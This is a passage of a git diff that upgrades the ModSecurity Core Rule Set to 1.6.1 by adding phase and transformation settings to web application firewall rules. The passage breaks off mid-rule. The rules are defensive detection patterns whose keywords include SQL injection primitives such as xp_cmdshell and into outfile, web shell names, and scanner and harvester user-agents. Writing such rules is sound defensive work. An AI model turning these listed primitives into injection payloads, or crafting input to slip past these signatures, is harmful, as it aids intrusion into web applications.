severity:'2',id:'960034',tag:'POLICY/PROTOCOL_NOT_ALLOWED'" + "phase:2,t:none,deny,log,auditlog,status:505,msg:'HTTP protocol version is not allowed by policy', severity:'2',id:'960034',tag:'POLICY/PROTOCOL_NOT_ALLOWED'" # Restrict file extension # @@ -93,7 +91,7 @@ SecRule REQUEST_PROTOCOL "!^HTTP/(0\.9|1\.[01])$" \ # comment the whole rule. # SecRule REQUEST_BASENAME "\.(?:c(?:o(?:nf(?:ig)?|m)|s(?:proj|r)?|dx|er|fg|md)|p(?:rinter|ass|db|ol|wd)|v(?:b(?:proj|s)?|sdisco)|a(?:s(?:ax?|cx)|xd)|d(?:bf?|at|ll|os)|i(?:d[acq]|n[ci])|ba(?:[kt]|ckup)|res(?:ources|x)|s(?:h?tm|ql|ys)|l(?:icx|nk|og)|\w{0,5}~|webinfo|ht[rw]|xs[dx]|key|mdb|old)$" \ - "t:urlDecodeUni, t:lowercase, deny,log,auditlog,status:500,msg:'URL file extension is restricted by policy', severity:'2',id:'960035',tag:'POLICY/EXT_RESTRICTED'" + "phase:2,t:none,t:urlDecodeUni, t:lowercase, deny,log,auditlog,status:500,msg:'URL file extension is restricted by policy', severity:'2',id:'960035',tag:'POLICY/EXT_RESTRICTED'" @@ -105,7 +103,7 @@ SecRule REQUEST_BASENAME "\.(?:c(?:o(?:nf(?:ig)?|m)|s(?:proj|r)?|dx|er|fg|md)|p( # Set Templates to do so, otherwise comment the whole rule. # SecRule REQUEST_HEADERS_NAMES "(?:lock-token|translate|if)$" \ - "t:lowercase,deny,log,auditlog,status:500,msg:'HTTP header is restricted by policy',id:'960038',tag:'POLICY/HEADER_RESTRICTED',tag:'POLICY/FILES_NOT_ALLOWED',severity:'4'" + "phase:2,t:none,t:lowercase,deny,log,auditlog,status:500,msg:'HTTP header is restricted by policy',id:'960038',tag:'POLICY/HEADER_RESTRICTED',tag:'POLICY/FILES_NOT_ALLOWED',severity:'4'" # Restricted Content Encodings diff --git a/rules/modsecurity_crs_35_bad_robots.conf b/rules/modsecurity_crs_35_bad_robots.conf index 81139b09..d17127e7 100644 --- a/rules/modsecurity_crs_35_bad_robots.conf +++ b/rules/modsecurity_crs_35_bad_robots.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -16,16 +16,16 @@ # site. SecRule REQUEST_HEADERS:User-Agent "(?:\b(?:m(?:ozilla\/4\.0 \(compatible\)|etis)|webtrends security analyzer|pmafind)\b|n(?:-stealth|sauditor|essus|ikto)|b(?:lack ?widow|rutus|ilbo)|(?:jaascoi|paro)s|webinspect|\.nasl)" \ - "deny,log,auditlog,status:404,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990002',tag:'AUTOMATION/SECURITY_SCANNER',severity:'2'" + "phase:2,t:none,t:lowercase,deny,log,auditlog,status:404,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990002',tag:'AUTOMATION/SECURITY_SCANNER',severity:'2'" SecRule REQUEST_HEADERS_NAMES "\bacunetix-product\b" \ - "deny,log,auditlog,status:404,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990901',tag:'AUTOMATION/SECURITY_SCANNER',severity:'2'" + "phase:2,t:none,t:lowercase,deny,log,auditlog,status:404,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990901',tag:'AUTOMATION/SECURITY_SCANNER',severity:'2'" SecRule REQUEST_FILENAME "^/nessustest" \ - "deny,log,auditlog,status:404,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990902',tag:'AUTOMATION/SECURITY_SCANNER',severity:'2'" + "phase:2,t:none,t:lowercase,deny,log,auditlog,status:404,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990902',tag:'AUTOMATION/SECURITY_SCANNER',severity:'2'" SecRule REQUEST_HEADERS:User-Agent "(?:e(?:mail(?:(?:collec|harves|magne)t|(?: extracto|reape)r|siphon|wolf)|(?:collecto|irgrabbe)r|xtractorpro|o browse)|m(?:ozilla\/4\.0 \(compatible; advanced email extractor|ailto:craftbot\@yahoo\.com)|a(?:t(?:tache|hens)|utoemailspider|dsarobot)|w(?:eb(?:emailextrac| by mail)|3mir)|f(?:astlwspider|loodgate)|p(?:cbrowser|ackrat|surf)|(?:digout4uagen|takeou)t|\bdatacha0s\b|hhjhj@yahoo|chinaclaw|rsync|shai|zeus)" \ - "deny,log,auditlog,status:404,msg:'Rogue web site crawler',id:'990012',tag:'AUTOMATION/MALICIOUS',severity:'2'" + "phase:2,t:none,t:lowercase,deny,log,auditlog,status:404,msg:'Rogue web site crawler',id:'990012',tag:'AUTOMATION/MALICIOUS',severity:'2'" SecRule REQUEST_HEADERS:User-Agent "(?:\b(?:(?:indy librar|snoop)y|microsoft url control|lynx)\b|mozilla\/2\.0 \(compatible; newt activex; win32\)|w(?:3mirror|get)|download demon|l(?:ibwww|wp)|p(?:avuk|erl)|big brother|autohttp|netants|eCatch|curl)" \ - "chain,log,auditlog,msg:'Request Indicates an automated program explored the site',id:'990011',tag:'AUTOMATION/MISC',severity:'5'" -SecRule REQUEST_HEADERS:User-Agent "!^apache.*perl" + "chain,phase:2,t:none,t:lowercase,log,auditlog,msg:'Request Indicates an automated program explored the site',id:'990011',tag:'AUTOMATION/MISC',severity:'5'" +SecRule REQUEST_HEADERS:User-Agent "!^apache.*perl" "t:none,t:lowercase" diff --git a/rules/modsecurity_crs_40_generic_attacks.conf b/rules/modsecurity_crs_40_generic_attacks.conf index 57c47965..0ff8d6de 100644 --- a/rules/modsecurity_crs_40_generic_attacks.conf +++ b/rules/modsecurity_crs_40_generic_attacks.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -21,194 +21,194 @@ # Session fixation # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm set-cookie .cookie" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:959009 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:959009 SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:\.cookie\b.*?;\W*?(?:expires|domain)\W*?=|\bhttp-equiv\W+set-cookie\b)" \ - "t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,capture,ctl:auditLogParts=+E,log,auditlog,msg:'Session Fixation',id:'950009',tag:'WEB_ATTACK/SESSION_FIXATION',logdata:'%{TX.0}',severity:'2'" + "phase:2,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,capture,ctl:auditLogParts=+E,log,auditlog,msg:'Session Fixation',id:'950009',tag:'WEB_ATTACK/SESSION_FIXATION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:\.cookie\b.*?;\W*?(?:expires|domain)\W*?=|\bhttp-equiv\W+set-cookie\b)" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,capture,ctl:auditLogParts=+E,log,auditlog,msg:'Session Fixation',id:'959009',tag:'WEB_ATTACK/SESSION_FIXATION',logdata:'%{TX.0}',severity:'2'" + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,capture,ctl:auditLogParts=+E,log,auditlog,msg:'Session Fixation',id:'959009',tag:'WEB_ATTACK/SESSION_FIXATION',logdata:'%{TX.0}',severity:'2'" # # Blind SQL injection # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm sys.user_triggers sys.user_objects @@spid msysaces instr sys.user_views sys.tab charindex sys.user_catalog constraint_type locate select msysobjects attnotnull sys.user_tables sys.user_tab_columns sys.user_constraints waitfor mysql.user sys.all_tables msysrelationships msyscolumns msysqueries" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:959007 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:959007 SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:\b(?:(?:s(?:ys\.(?:user_(?:(?:t(?:ab(?:_column|le)|rigger)|object|view)s|c(?:onstraints|atalog))|all_tables|tab)|elect\b.{0,40}\b(?:substring|ascii|user))|m(?:sys(?:(?:queri|ac)e|relationship|column|object)s|ysql\.user)|c(?:onstraint_type|harindex)|waitfor\b\W*?\bdelay|attnotnull)\b|(?:locate|instr)\W+\()|\@\@spid\b)" \ - "capture,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'950007',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'950007',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:\b(?:(?:s(?:ys\.(?:user_(?:(?:t(?:ab(?:_column|le)|rigger)|object|view)s|c(?:onstraints|atalog))|all_tables|tab)|elect\b.{0,40}\b(?:substring|ascii|user))|m(?:sys(?:(?:queri|ac)e|relationship|column|object)s|ysql\.user)|c(?:onstraint_type|harindex)|waitfor\b\W*?\bdelay|attnotnull)\b|(?:locate|instr)\W+\()|\@\@spid\b)" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'959007',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'959007',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" #SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "\b(?:benchmark|encode)\b" \ -# "chain,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'950903',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" -#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,(?:[\\\(\)\%#]|--)" -#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,\b(?:benchmark|encode)\b" \ -# "chain,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'959903',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" -#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:[\\\(\)\%#]|--)" +# "phase:2,chain,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'950903',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" +#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,(?:[\\\(\)\%#]|--)" +#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,\b(?:benchmark|encode)\b" \ +# "phase:2,chain,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'959903',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" +#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:[\\\(\)\%#]|--)" t:none SecRule REQUEST_FILENAME|ARGS|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm substr xtype textpos all_objects rownum sysfilegroups sysprocesses user_group sysobjects user_tables systables pg_attribute user_users user_password column_id attrelid user_tab_columns table_name pg_class user_constraints user_objects object_type dba_users sysconstraints mb_users column_name atttypid object_id substring syscat user_ind_columns sysibm syscolumns sysdba object_name" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:959904 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:959904 SecRule REQUEST_FILENAME|ARGS "\b(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c(?:o(?:nstraint|lumn)s|at)|dba|ibm)|ubstr(?:ing)?)|user_(?:(?:(?:constrain|objec)t|tab(?:_column|le)|ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|(?:dba|mb)_users|xtype\W+\bchar|rownum)\b|t(?:able_name\b|extpos\W+\())" \ - "capture,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'950904',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'950904',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\b(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c(?:o(?:nstraint|lumn)s|at)|dba|ibm)|ubstr(?:ing)?)|user_(?:(?:(?:constrain|objec)t|tab(?:_column|le)|ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|(?:dba|mb)_users|xtype\W+\bchar|rownum)\b|t(?:able_name\b|extpos\W+\())" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'959904',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack',id:'959904',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" # # SQL injection # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm insert xp_enumdsn infile openrowset nvarchar autonomous_transaction print data_type or outfile inner shutdown tbcreator @@version xp_filelist sp_prepare sql_longvarchar xp_regenumkeys xp_loginconfig xp_dirtree ifnull sp_addextendedproc xp_regaddmultistring delete sp_sqlexec and sp_oacreate sp_execute cast xp_ntsec xp_regdeletekey drop varchar xp_execresultset having utl_file xp_regenumvalues xp_terminate xp_availablemedia xp_regdeletevalue dumpfile isnull sql_variant select 'sa' xp_regremovemultistring xp_makecab 'msdasql' xp_cmdshell openquery sp_executesql 'sqloledb' dbms_java 'dbo' utl_http sp_makewebtask benchmark xp_regread xp_regwrite" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,id:999501,skipAfter:959001 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,id:999501,skipAfter:959001 SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:\b(?:(?:s(?:elect\b(?:.{1,100}?\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebtask)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|e(?:xecresultset|numdsn)|(?:terminat|dirtre)e|availablemedia|loginconfig|cmdshell|filelist|makecab|ntsec)|u(?:nion\b.{1,100}?\bselect|tl_(?:file|http))|group\b.*\bby\b.{1,100}?\bhaving|d(?:elete\b\W*?\bfrom|bms_java)|load\b\W*?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\b|(?:f(?:\b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|a(?:nd\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|utonomous_transaction\b)|o(?:r\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|pen(?:rowset|query)\b)|having\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|print\b\W*?\@\@|cast\b\W*?\()|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|'(?:s(?:qloledb|a)|msdasql|dbo)')" \ - "capture,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'950001',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'950001',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:\b(?:(?:s(?:elect\b(?:.{1,100}?\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebtask)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|e(?:xecresultset|numdsn)|(?:terminat|dirtre)e|availablemedia|loginconfig|cmdshell|filelist|makecab|ntsec)|u(?:nion\b.{1,100}?\bselect|tl_(?:file|http))|group\b.*\bby\b.{1,100}?\bhaving|d(?:elete\b\W*?\bfrom|bms_java)|load\b\W*?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\b|(?:f(?:\b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|a(?:nd\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|utonomous_transaction\b)|o(?:r\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|pen(?:rowset|query)\b)|having\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|print\b\W*?\@\@|cast\b\W*?\()|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|'(?:s(?:qloledb|a)|msdasql|dbo)')" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'959001',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'959001',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "\b(\d+) ?= ?\1\b|[\'\"](\w+)[\'\"] ?= ?[\'\"]\2\b" \ - "capture,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'950901',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'950901',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\b(\d+) ?= ?\1\b|[\'\"](\w+)[\'\"] ?= ?[\'\"]\2\b" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'959901',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'959901',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" #SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "\b(?:rel(?:(?:nam|typ)e|kind)|a(?:ttn(?:ame|um)|scii)|c(?:o(?:nver|un)t|ha?r)|s(?:hutdown|elect)|to_(?:numbe|cha)r|u(?:pdate|nion)|d(?:elete|rop)|group\b\W*\bby|having|insert|length|where)\b" \ -# "chain,capture,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'950905',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" -#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:[\\\(\)\%#]|--)" "t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase" +# "phase:2,chain,capture,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'950905',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" +#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:[\\\(\)\%#]|--)" "t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase" #SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\b(?:rel(?:(?:nam|typ)e|kind)|a(?:ttn(?:ame|um)|scii)|c(?:o(?:nver|un)t|ha?r)|s(?:hutdown|elect)|to_(?:numbe|cha)r|u(?:pdate|nion)|d(?:elete|rop)|group\b\W*\bby|having|insert|length|where)\b" \ -# "chain,capture,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'959905',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" -#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:[\\\(\)\%#]|--)" "t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase" +# "phase:2,chain,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'959905',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" +#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:[\\\(\)\%#]|--)" "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase" SecRule REQUEST_FILENAME|ARGS|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm user_objects object_type substr all_objects mb_users column_name rownum atttypid substring object_id user_group user_tables pg_attribute user_users column_id user_password attrelid object_name table_name pg_class" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:959906 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:959906 SecRule REQUEST_FILENAME|ARGS "\b(?:user_(?:(?:object|table|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|substr(?:ing)?|table_name|mb_users|rownum)\b" \ - "capture,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'950906',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'950906',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\b(?:user_(?:(?:object|table|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|substr(?:ing)?|table_name|mb_users|rownum)\b" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'959906',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'959906',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|!REQUEST_HEADERS:via "\b(?:coalesce\b|root\@)" \ - "capture,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'950908',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'950908',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer|!REQUEST_HEADERS:via "\b(?:coalesce\b|root\@)" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'959908',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack',id:'959908',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" # # XSS # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm jscript onsubmit copyparentfolder javascript meta onmove onkeydown onchange onkeyup activexobject expression onmouseup ecmascript onmouseover vbscript: [^<]*?(?:\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web shell)\b|imhabirligi phpftp)|(?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\b|\.::(?:news remote php shell injection::\.| rhtools\b)|ph(?:p(?:(?: 